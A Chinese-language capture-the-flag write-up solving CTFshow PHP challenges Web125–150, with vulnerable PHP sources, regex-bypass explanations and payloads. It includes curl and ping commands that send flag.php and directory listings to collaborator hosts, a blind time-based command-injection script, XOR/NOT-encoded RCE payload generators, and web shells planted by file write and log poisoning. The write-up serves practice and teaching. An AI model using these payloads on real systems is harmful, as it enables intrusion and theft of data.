CTFshow-php特性(Web125-150)
CTFshow-php特性(Web125-150)
Web125
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
POST : CTF_SHOW=&CTF[SHOW.COM=1&fun=highlight_file($_GET[1]) get:?1=flag.php
CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_POST[1])&1=flag.php
get:?$fl0g=flag_give_me;
post:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])GET:?php://filter/read=convert.base64-encode/resource=flag.php POST:CTF_SHOW=a&CTF[SHOW.COM=b&fun=include($a[0])
Web126
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
- get:?$fl0g=flag_give_me;
post:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0]) 或assert - CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($_REQUEST[m])&m=$fl0g%3d"flag_give_me”;
- GET:
?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
+ 代表空格
$_SERVER['argv'][0] 是$_SERVER['QUERY_STRING'];,$_SERVER['argv'][1] 的传递方式就和命令行类似了,空格,然后传递第二个参数,以此类推。利用$_SERVER['argv'][1] 就可以绕过对isset($fl0g)的判断。用+代表空格。
Web127
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
检查的是server而不是get因此ctf show=ilove36d
由于在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换,这里只能用空格
或者使用url编码:?%63%74%66%5f%73%68%6f%77=ilove36d
Web128
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL
当php扩展目录下有php_gettext.dll时:_()是一个函数。
_()==gettext() 是gettext()的拓展函数,开启text扩展get_defined_vars — 返回由所有已定义变量所组成的数组。
call_user_func — 把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。
当正常的gettext(“get_defined_vars”);时会返还get_defined_vars
为了绕过正则,_()函数和gettext()的效果一样,
所以可以用_()函数代替gettext()函数。
?f1=_&f2=get_defined_vars
Web129 (目录穿越)
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
- ?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php
- ?f=php://filter/ctfshow/resource=flag.php
- ?f=/ctfshow/../var/www/html/flag.php
其中的../这是深层目录,根据需要尝试,另外目录是根据之前的题目猜测得到
PHP对无法使用的filter过滤器只会抛出warning而不是error
Web130
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
'/.+?ctfshow/is' 后面的i表示大小写匹配,s表示忽略换行符,单行匹配
在不加转义字符的前提下,前面的点表示任意字符,而“+?”表示非贪婪匹配,即前面的字符至少出现一次
所以,该正则匹配的意思为:ctfshow前面如果出现任意字符,即匹配准确
- f=ctfshow
- 使用数组绕过:f[]=anything
Web131
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
PHP回溯上限利用
常见的正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。
- DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入。
- NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态。
大多数程序语言都使用NFA作为正则引擎,其中也包括PHP使用的PCRE库
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。
我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:结果返回为1000000
那么只需要输入的匹配字符串长度大于1000000,那么preg_match函数就会直接返回false,那么我们可以通过代码产生满足条件的字符串
echo “f=“.str_repeat(“very”,250000).“36Dctfshow”;
字符串“very”复制25万次,正好100万个字符
然后Post方式发送参数f,为生成的字符串即可得到flag
<?php
echo str_repeat('very', '250000').'36Dctfshow';
?>
Web132
进了个blog,dirsearch一下个admin
<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
admin/?username=admin&password=&code=admin
- PHP中的逻辑“与”运算有两种形式:and 和 &&,同样“或”运算也有 or 和 || 两种形式。
- 如果是单独两个表达式参加的运算,两种形式的结果完全相同
- 但两种形式的逻辑运算符优先级不同,这四个符号的优先级从高到低分别是: &&、||、AND、OR。
Web133
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
?F=$F
;sleep 3 观察发现页面确实存在延时,说明 sleep 3 执行成功了。
$F ;sleep 3 会先经过substr($F,0,6)截取六个字符后得到
$F `;
然后执行 eval(“$F
;“);
而其中的 $F 原本是我们传入的内容,即 $F
;sleep 3;
因此执行的是 eval(“`$F
;sleep 3`“); 也就会执行 sleep 3。
``是shell_exec()函数的缩写,然后就去命令执行,是没有回显的
可以通过DNSlog,
?F=$F
; ping cat flag.php | grep ctfshow | tr -cd '[a-z]'/'[0-9]'
.dnslog得到的网址 -c 1
ctfshow web入门 php特性 web123–web139_ctfshow web139-CSDN博客
这里使用 burpsuite 的 Collaborator Client 结合 curl -F 命令外带 flag:
这个模块说实话我也是第一次用,先随机获取一个域名:
http://839sizfkvi1ksa81amhy4ca9j0prdw1l.oastify.com/
构造 payload:
?F=`$F`;+curl -X POST -F xx=@flag.php http://839sizfkvi1ksa81amhy4ca9j0prdw1l.oastify.com/
对 payload 的一些解释:
-F 为带文件的形式发送 post 请求;
其中 xx 是上传文件的 name 值,我们可以自定义的,而 flag.php 就是上传的文件 ;
curl
:用于在命令行中发出网络请求的工具。
-X POST
:指定使用 POST
方法请求目标 URL。
-F xx=@flag.php
:以 表单格式 (multipart/form-data) 发送 flag.php
文件的内容,键名为 xx
。
xx
:POST 请求的参数名,类似于 HTML 表单中的<input name="xx" type="file">
。@flag.php
:读取本地文件flag.php
并将其作为文件内容上传。
z55c4qucwi77mo3jgruxqlil0c63us.burpcollaborator.net
:目标 URL,用于接收外部数据。
相当于让服务器向 Collaborator 客户端发送 post 请求,内容是flag.php。
这里还可以直接命令执行:
?F=`$F`; curl http://7dlviqq1kp7fyuu27x61yqbyepkh8cw1.oastify.com/`ls`
Web134
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
parse_str是对get请求进行的内容解析成变量。例如传递?a=1
,执行后就是$a=1
。
那么相对的,传递_POST
,就是对$_POST
进行赋值,正好就可以绕过if条件对post的限制。
extract() 函数从数组中将变量导入到当前的符号表。
?POST[key1]=36d&POST[key2]=36d
//刚好 key1=36d&key2=36d
Web135
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
过滤了curl,这里可以用ping带出,或者写入到一个文件再看即可
?F=`$F` ;cp flag.php x.txt
?F=`$F` ;nl flag.php>x.txt
?F=`$F` ;mv flag.php x.txt
```
?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd '[a-z]'/'[0-9]'`.i1k4phddlneygl58oqbjxv93full9a.oastify.com
Web136
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
其实是在135的基础上增加了过滤 ><
但是linux中还可以用tee写文件
ls|tee xxx
我们先来看下当前目录下有啥文件,访问url/xxx发现只有一个index.php
那我们再去看看根目录下有什么文件
ls /|tee xxx
得到 f149_15_h3r3
最后直接打开就可以了
nl /f149_15_h3r3|tee xxx
Web137
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.
ctfshow::getFlag
Web138
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
这时候就考察我们对call_user_func函数的使用了,call_user_func中不但可以传字符串也可以传数组。
call_user_func(array($classname, 'say_hello'));
这时候会调用 classname中的 say_hello方法
```
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
Web139
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
不能写文件了,考虑盲注,写脚本:
import requests
import time
import string
# 1. 可用的字符集 (字母和数字)
str = string.ascii_letters + string.digits + '_'
# 2. 结果存储变量
result = ""
# 3. 遍历前 4 行的文件名
for i in range(1, 5): # 遍历根目录的前 4 个文件/目录名
key = 0
for j in range(1, 15): # 遍历每个文件/目录名的前 14 个字符
if key == 1:
break
for n in str: # 依次尝试所有字符
payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)
# 4. 向服务器发送请求
url = "http://68455ea8-64b9-402f-a3b3-8ecefb8b0ab2.challenge.ctf.show/?c=" + payload
try:
requests.get(url, timeout=(2.5, 2.5)) # 如果请求时间超过 2.5 秒,则判定字符正确
except:
result = result + n # 如果请求超时,说明字符正确
print(result) # 输出当前的结果
break
if n == '_': # 如果尝试到 _ 都没有成功,说明这个文件/目录的名字已结束
key = 1
result += " " # 用空格分隔每个文件/目录的名字
```shell
if [ `ls / | awk 'NR=={0}' | cut -c {1}` == {2} ]; then sleep 3; fi
核心命令:
这是一个条件判断语句,如果满足条件就sleep 3 秒,否则什么也不做。是可变的部分,分别对应:
{0}
:根目录的第几个文件/目录(i
){1}
:文件/目录的名字的第几个字符(j
){2}
:当前尝试的字符(n
)
bin dev etc f149_15_h3r3
然后盲注flag
import requests
import time
import string
str = string.digits+string.ascii_lowercase+"-"
result = ""
for j in range(1,45):
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
url="http://68455ea8-64b9-402f-a3b3-8ecefb8b0ab2.challenge.ctf.show/?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result= result+ n
print(result)
break
ctfshow{c8e00463-d1d8-47c6-9dfb-2b4e373ac6f3}
Web140
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
可以看到只要我们让intval($code)为0就可以了
intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0
md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd()) 因为/var/www/html md5后开头的数字所以我们改用sha1
Web141
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)-CSDN博客
<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
```
\W`:与任何非单词字符匹配。就是除了数字、字母、下划线。等价于`[^A-Za-z0-9_]
[^xyz]
:一个否定的字符集
大家可以看下下面的示例
eval("return 1;phpinfo();");
会发现是无法执行phpinfo()的,但是php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();是可以执行phpinfo()命令的。
这样就好说了。构造出1-phpinfo()-1就可以了,也就是说 v1=1&v2=1&v3=-phpinfo()-。
现在我们的任务就是取构造命令,那我们就用个简单的方式取反来试一下。
-system(‘tac f*’)-
import os
import re
from urllib.parse import unquote
def make_dic(operation):
filename = f"rce_{operation}.txt"
if not os.path.exists(filename):
print("Making dictionary...")
with open(filename, "w") as myfile:
contents = []
seen = set() # 使用集合来跟踪已添加的结果
# 遍历所有可能的字节值(0-255)
for i in range(256):
for j in range(256):
# 将$i和$j转换为两个字符的十六进制表示
hex_i = f'{i:02x}'
hex_j = f'{j:02x}'
# 正则表达式用于匹配特定字符
pattern = re.compile(r'[0-9a-z\^\+\~\$\[\]\{\}\&\-]', re.IGNORECASE)
# 如果十六进制字符转换为二进制后匹配正则表达式,则跳过此循环
if pattern.match(bytes.fromhex(hex_i).decode('latin1')) or pattern.match(
bytes.fromhex(hex_j).decode('latin1')):
continue
# 将十六进制值添加百分号前缀并进行URL解码
a = f'%{hex_i}'
b = f'%{hex_j}'
match operation:
case "and":
c = chr(ord(unquote(a)) & ord(unquote(b)))
case "or":
c = chr(ord(unquote(a)) | ord(unquote(b)))
case "xor":
c = chr(ord(unquote(a)) ^ ord(unquote(b)))
# 如果解码后的字符是可打印字符(ASCII 32-126),则将其添加到内容列表中
if 32 <= ord(c) <= 126 and c not in seen:
contents.append(f"{c} {a} {b}\n")
seen.add(c) # 将结果添加到集合中
# 将内容写入文件
myfile.writelines(contents)
print("Making dictionary...done")
else:
print("Dictionary already exists!!")
def generate_payload(text, operation):
op_symbols = {"and": '&', "or": '|', "xor": '^'}
op = op_symbols[operation]
s1 = []
s2 = []
filename = f"rce_{operation}.txt"
with open(filename, 'r') as f:
lines = f.readlines()
for char in text:
for line in lines:
if char == line[0]:
s1.append(line[2:5])
s2.append(line[6:].strip())
break
return f"(\"{''.join(s1)}\"{op}\"{''.join(s2)}\")"
function = input("Please input your function: ")
command = input("Please input your command: ")
while True:
operation = input("Please input your operation (and or xor): ")
if operation in ["and", "or", "xor"]:
break
else:
print("Please choose one of the following: and, or, xor")
make_dic(operation)
payload = generate_payload(function, operation) + generate_payload(command, operation)
print("Generated payload is :" + payload)
输入system,tac f*,xor or都行,
payload
?v1=1&v2=1&v3=-("%0c%05%0c%08%05%0d"^"%7f%7c%7f%7c%60%60")("%08%01%03%00%06%00"^"%7c%60%60%20%60%2a")-
?v1=1&v2=1&v3=-("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%14%01%03%00%06%00"|"%60%60%60%20%60%2a")-
Web142
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
v1=0
Web143
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
payload,用*也是一样的
?v1=1&v2=1&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%14%01%03%00%06%00"^"%60%60%60%20%60%2a")*
Web144
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
```
?v1=1&v2=("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%14%01%03%00%06%00"^"%60%60%60%20%60%2a")&v3=-
Web145
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
考察点:三目运算符的妙用
eval("return 1?phpinfo():1;");
?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):&v2=1
?v1=1&v3=|(('%13%19%13%14%05%0d')|('%60%60%60%60%60%60'))((('%03%01%14%20%06%02')|('%60%60%60%20%60%28')))|&v2=1
发现之前的脚本没取反,自己加一下:
import os
import re
from urllib.parse import unquote,quote
def make_dic(operation):
filename = f"rce_{operation}.txt"
if not os.path.exists(filename):
print("Making dictionary...")
with open(filename, "w") as myfile:
contents = []
seen = set() # 使用集合来跟踪已添加的结果
# 遍历所有可能的字节值(0-255)
for i in range(256):
for j in range(256):
# 将$i和$j转换为两个字符的十六进制表示
hex_i = f'{i:02x}'
hex_j = f'{j:02x}'
# 正则表达式用于匹配特定字符
pattern = re.compile(r'[0-9a-z\^\+\~\$\[\]\{\}\&\-]', re.IGNORECASE)
# 如果十六进制字符转换为二进制后匹配正则表达式,则跳过此循环
if pattern.match(bytes.fromhex(hex_i).decode('latin1')) or pattern.match(
bytes.fromhex(hex_j).decode('latin1')):
continue
# 将十六进制值添加百分号前缀并进行URL解码
a = f'%{hex_i}'
b = f'%{hex_j}'
match operation:
case "and":
c = chr(ord(unquote(a)) & ord(unquote(b)))
case "or":
c = chr(ord(unquote(a)) | ord(unquote(b)))
case "xor":
c = chr(ord(unquote(a)) ^ ord(unquote(b)))
# 如果解码后的字符是可打印字符(ASCII 32-126),则将其添加到内容列表中
if 32 <= ord(c) <= 126 and c not in seen:
contents.append(f"{c} {a} {b}\n")
seen.add(c) # 将结果添加到集合中
# 将内容写入文件
myfile.writelines(contents)
print("Making dictionary...done")
else:
print("Dictionary already exists!!")
# <?php
# $a=urlencode(~'system');
# echo $a;
# echo '\n';
# $b=urlencode(~'tac f*');
# echo $b;
def generate_payload(text, operation):
op_symbols = {"and": '&', "or": '|', "xor": '^'}
op = op_symbols[operation]
s1 = []
s2 = []
filename = f"rce_{operation}.txt"
with open(filename, 'r') as f:
lines = f.readlines()
for char in text:
for line in lines:
if char == line[0]:
s1.append(line[2:5])
s2.append(line[6:].strip())
break
return f"(\"{''.join(s1)}\"{op}\"{''.join(s2)}\")"
def negate_rce():
system = input("[+]your function: ").replace("\r", "").replace("\n", "")
command = input("[+]your command: ").replace("\r", "").replace("\n", "")
def encode_and_negate(s):
result = ''
for char in s:
# 1. Get ASCII value of the character
ascii_value = ord(char)
# 2. URL encode it manually (instead of urllib's quote) to always get %XX format
url_encoded = f"%{ascii_value:02X}" # ASCII value to two-digit hex
# 3. Remove '%' and convert to integer
hex_value = int(url_encoded[1:], 16) # This is safe now
# 4. Bitwise negate and ensure 8-bit (0-255) result
negated_value = ~hex_value & 0xFF
# 5. Convert back to hex and format as %XX
result += f"%{negated_value:02X}"
return result
negated_system = encode_and_negate(system)
negated_command = encode_and_negate(command)
print(f'[*] (~{negated_system})(~{negated_command});')
mode = input("Please input your mode(1:~ 2:and or xor): ")
if mode == 1:
print("choose ~ mode")
negate_rce()
else:
print("choose and or xor mode")
function = input("Please input your function: ")
command = input("Please input your command: ")
while True:
operation = input("Please input your operation (and or xor): ")
if operation in ["and", "or", "xor"]:
break
else:
print("Please choose one of the following: and, or, xor")
make_dic(operation)
payload = generate_payload(function, operation) + generate_payload(command, operation)
print("Generated payload is :" + payload)
Web146
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
:被禁用,使用等号和位运算符
eval("return 1==phpinfo()||1;");
```
?v1=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)||&v2=1
或
/?v1=1&v2=1&v3=|(('%13%19%13%14%05%0d')|('%60%60%60%60%60%60'))((('%03%01%14%20%06%02')|('%60%60%60%20%60%28')))|
Web147
<?php
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
考察点:create_function()代码注入,create_function('$a','echo $a.“123”')
类似于
function f($a) {
echo $a."123";
}
那么如果我们第二个参数传入 echo 1;}phpinfo();//
就等价于
function f($a) {
echo 1;}phpinfo();//
}
从而执行phpinfo()命令修饰符 /isD
i
:不区分大小写(a-z
变成了a-zA-Z
)。s
:使点号.
可以匹配换行符\n
,但在这个表达式中没用到.
,所以它无效。D
:表示$
只匹配字符串的结尾,而不是行的结尾、。
正则匹配绕过,只要ctfshow里有一个不是数字、小写字母和下划线就能绕过。
只要有一个不符合的字符,preg_match
就会返回 false
,从而导致 !preg_match
的结果为 true
。
get: show=echo 123;}system('tac f*');//
post: ctf=%5ccreate_function
%5c绕过原理:php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 调用一个函数时直接写函数名function_name(),相当于是相对路径调用; 如写某一全局函数的完全限定名称\function_name()调用,则是写了一个绝对路径。
Web148
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}
```
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");
Web149
<?php
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
一句话木马:show=
?ctf=index.php,然后访问index.php,蚁剑连接
Web150
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
变量覆盖使isVIP=1,修改user-agent插入一句话木马,执行两次就行,
POST /?isVIP=1 HTTP/1.1
Sec-Ch-Ua: "Microsoft Edge";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: <?php eval($_POST[1]);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ctf.show/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
ctf=/var/log/nginx/access.log&1=system('tac f*');
Web150-plus
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}
?>
对日志,_,[做了过滤,看
__CTFSHOW__
如果想传入这个,但是key又被过滤了,考虑之前的[._但是下划线和[被过滤,那就只能用.,flag就在phpinfo中,搜ctfshow
?..CTFSHOW..=phpinfo
- 感谢你赐予我前进的力量